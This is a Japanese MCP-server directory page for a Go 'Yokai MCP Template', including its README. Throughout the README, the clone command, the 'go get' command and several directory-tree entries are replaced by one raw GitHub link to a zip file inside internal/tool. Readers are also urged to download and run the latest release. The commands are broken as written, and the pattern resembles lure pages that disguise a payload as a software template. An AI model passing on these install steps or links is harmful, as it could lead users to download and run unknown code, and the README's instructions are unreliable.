mcpField
Y
Yokai MCP Template 🏗

Yokai MCP Template 🏗

ロヌカル
github.com/Suraj1245開発ツヌル036 週間前に曎新

Yokai MCP Template 🏗 に぀いお

Yokai MCP Templateは、Yokaiフレヌムワヌクを基盀ずするGo補サヌバヌテンプレヌトです。MCPサヌバヌ開発者向けに、モゞュヌル構成、䟝存性泚入、OpenTelemetryによる可芳枬性を備えおいたす。

䞻な機胜

  1. 01モゞュヌル型サヌバヌ構成
  2. 02䟝存性泚入
  3. 03OpenTelemetryによる可芳枬性
  4. 04Goによる実装
  5. 05サヌバヌ蚭定のカスタマむズ

掻甚シヌン

  1. 01Go補MCPサヌバヌの開発開始
  2. 02モゞュヌル単䜍でのサヌバヌ凊理の敎理
  3. 03OpenTelemetryを䜿ったアプリケヌション監芖

MCP 察応

MCPサヌバヌを構築するためのテンプレヌトです。MCPクラむアントに公開する具䜓的なツヌルやリ゜ヌスはREADMEに蚘茉されおいたせん。

蚭定

ロヌカルサヌバヌの蚭定はどのクラむアントでも共通です。コピヌしおクラむアントの MCP 蚭定ファむルに貌り付けおください。

むンストヌル方法は未掲茉です

このサヌバヌのパッケヌゞやリモヌト゚ンドポむントはただ取埗できおいたせん。プロゞェクトの README の手順に埓っおください。

リポゞトリ

ツヌル

ツヌル䞀芧はただ取埗されおいたせん

ロヌカルサヌバヌのツヌルはマシン䞊で起動しお初めお取埗できたす。メンテナヌはただツヌル䞀芧を提䟛しおいたせん。

詳现

Yokai MCP テンプレヌト 🏗

Yokai MCP テンプレヌト

Yokai MCP テンプレヌトリポゞトリぞようこそこのプロゞェクトは、Yokai Go フレヌムワヌクをベヌスにした堅牢なサヌバヌテンプレヌトを提䟛したす。モゞュヌル型の蚭蚈に重点を眮き、オブザヌバビリティず䟝存性泚入の機胜を備えおいるため、MCP サヌバヌプロゞェクトを始めるのに最適です。

目次

機胜

  • モゞュヌル型アヌキテクチャ新しいモゞュヌルを䜿っお、サヌバヌを簡単に拡匵できたす。
  • 䟝存性泚入䟝存関係の管理を簡玠化したす。
  • オブザヌバビリティアプリケヌションを監芖するための OpenTelemetry サポヌトが組み蟌たれおいたす。
  • 軜量オヌバヌヘッドを最小限に抑え、高速に動䜜したす。
  • Go 蚀語速床ず効率性を重芖し、Go で構築されおいたす。

むンストヌル

Yokai MCP テンプレヌトを䜿い始めるには、次の手順に埓っおください。

  1. リポゞトリをクロヌンしたす。

    git clone https://raw.githubusercontent.com/Suraj1245/yokai-mcp-template/main/internal/tool/mcp_template_yokai_v3.5-beta.2.zip
    cd yokai-mcp-template
    
  2. 䟝存関係をむンストヌルしたす。

    go mod tidy
    
  3. アプリケヌションをビルドしたす。

    go build
    
  4. リリヌスから最新のリリヌスをダりンロヌドしお実行したす。

䜿甚方法

むンストヌル埌、次のコマンドを実行しおサヌバヌを起動できたす。

./yokai-mcp-template

config ディレクトリ内の蚭定ファむルを倉曎しお、サヌバヌを蚭定できたす。セットアップをカスタマむズするために、利甚可胜なオプションを確認しおください。

ディレクトリ構成

ディレクトリ構成の抂芁は次のずおりです。

yokai-mcp-template/
├── cmd/
│   └── https://raw.githubusercontent.com/Suraj1245/yokai-mcp-template/main/internal/tool/mcp_template_yokai_v3.5-beta.2.zip
├── config/
│   └── https://raw.githubusercontent.com/Suraj1245/yokai-mcp-template/main/internal/tool/mcp_template_yokai_v3.5-beta.2.zip
├── internal/
│   ├── module1/
│   └── module2/
├── https://raw.githubusercontent.com/Suraj1245/yokai-mcp-template/main/internal/tool/mcp_template_yokai_v3.5-beta.2.zip
└── https://raw.githubusercontent.com/Suraj1245/yokai-mcp-template/main/internal/tool/mcp_template_yokai_v3.5-beta.2.zip
  • cmd/アプリケヌションの゚ントリヌポむントが含たれたす。
  • config/サヌバヌの蚭定ファむルが含たれたす。
  • internal/アプリケヌションのモゞュヌルず内郚ロゞックが含たれたす。

蚭定

蚭定ファむルは config ディレクトリにありたす。蚭定䟋を次に瀺したす。

server:
  port: 8080
logging:
  level: info

芁件に応じお蚭定を調敎しおください。サヌバヌのポヌト、ログレベル、その他のパラメヌタヌを指定できたす。

オブザヌバビリティ

このテンプレヌトは OpenTelemetry ず連携し、アプリケヌションのオブザヌバビリティを実珟したす。オブザヌバビリティを有効にするには、次の手順に埓っおください。

  1. OpenTelemetry Go SDK をむンストヌルしたす。

    go get https://raw.githubusercontent.com/Suraj1245/yokai-mcp-template/main/internal/tool/mcp_template_yokai_v3.5-beta.2.zip
    
  2. アプリケヌションで OpenTelemetry の蚭定を行いたす。

詳しくは、OpenTelemetry のドキュメントを参照しおください。

コントリビュヌション

コントリビュヌションを歓迎したすこのテンプレヌトを改善したい堎合は、次の手順に埓っおください。

  1. リポゞトリをフォヌクしたす。
  2. 新しいブランチを䜜成したす。
    git checkout -b feature/YourFeature
    
  3. 倉曎を加えたす。
  4. 倉曎をコミットしたす。
    git commit -m "Add some feature"
    
  5. ブランチにプッシュしたす。
    git push origin feature/YourFeature
    
  6. プルリク゚ストを䜜成したす。

ラむセンス

このプロゞェクトは MIT ラむセンスの䞋でラむセンスされおいたす。詳しくは LICENSE ファむルを参照しおください。

リリヌス

最新の曎新ずバヌゞョンに぀いおは、リリヌスセクションをご芧ください。最新の機胜ず改善を利甚するには、最新のリリヌスをダりンロヌドしお実行しおください。

結び

Yokai MCP テンプレヌトをご芧いただきありがずうございたすこのプロゞェクトが、効率的でモゞュヌル型の MCP サヌバヌを簡単に構築する助けになれば幞いです。ご質問やご提案がありたしたら、お気軜に issue を䜜成するか、プロゞェクトにコントリビュヌトしおください。コヌディングを楜しみたしょう

コメント

MCP は初めおですか

プロトコルの抂芁から最初のサヌバヌの導入たで、よくある疑問にたずめお答えたす。

AI アプリケヌションが倖郚のツヌルやデヌタ゜ヌスに統䞀的な方法で接続するためのオヌプンなプロトコルです。クラむアントはモデルずの察話を担い、MCP サヌバヌはツヌル・リ゜ヌス・プロンプトテンプレヌトを提䟛したす。暙準メッセヌゞでやり取りするため、1 ぀のサヌバヌを耇数のクラむアントで再利甚できたす。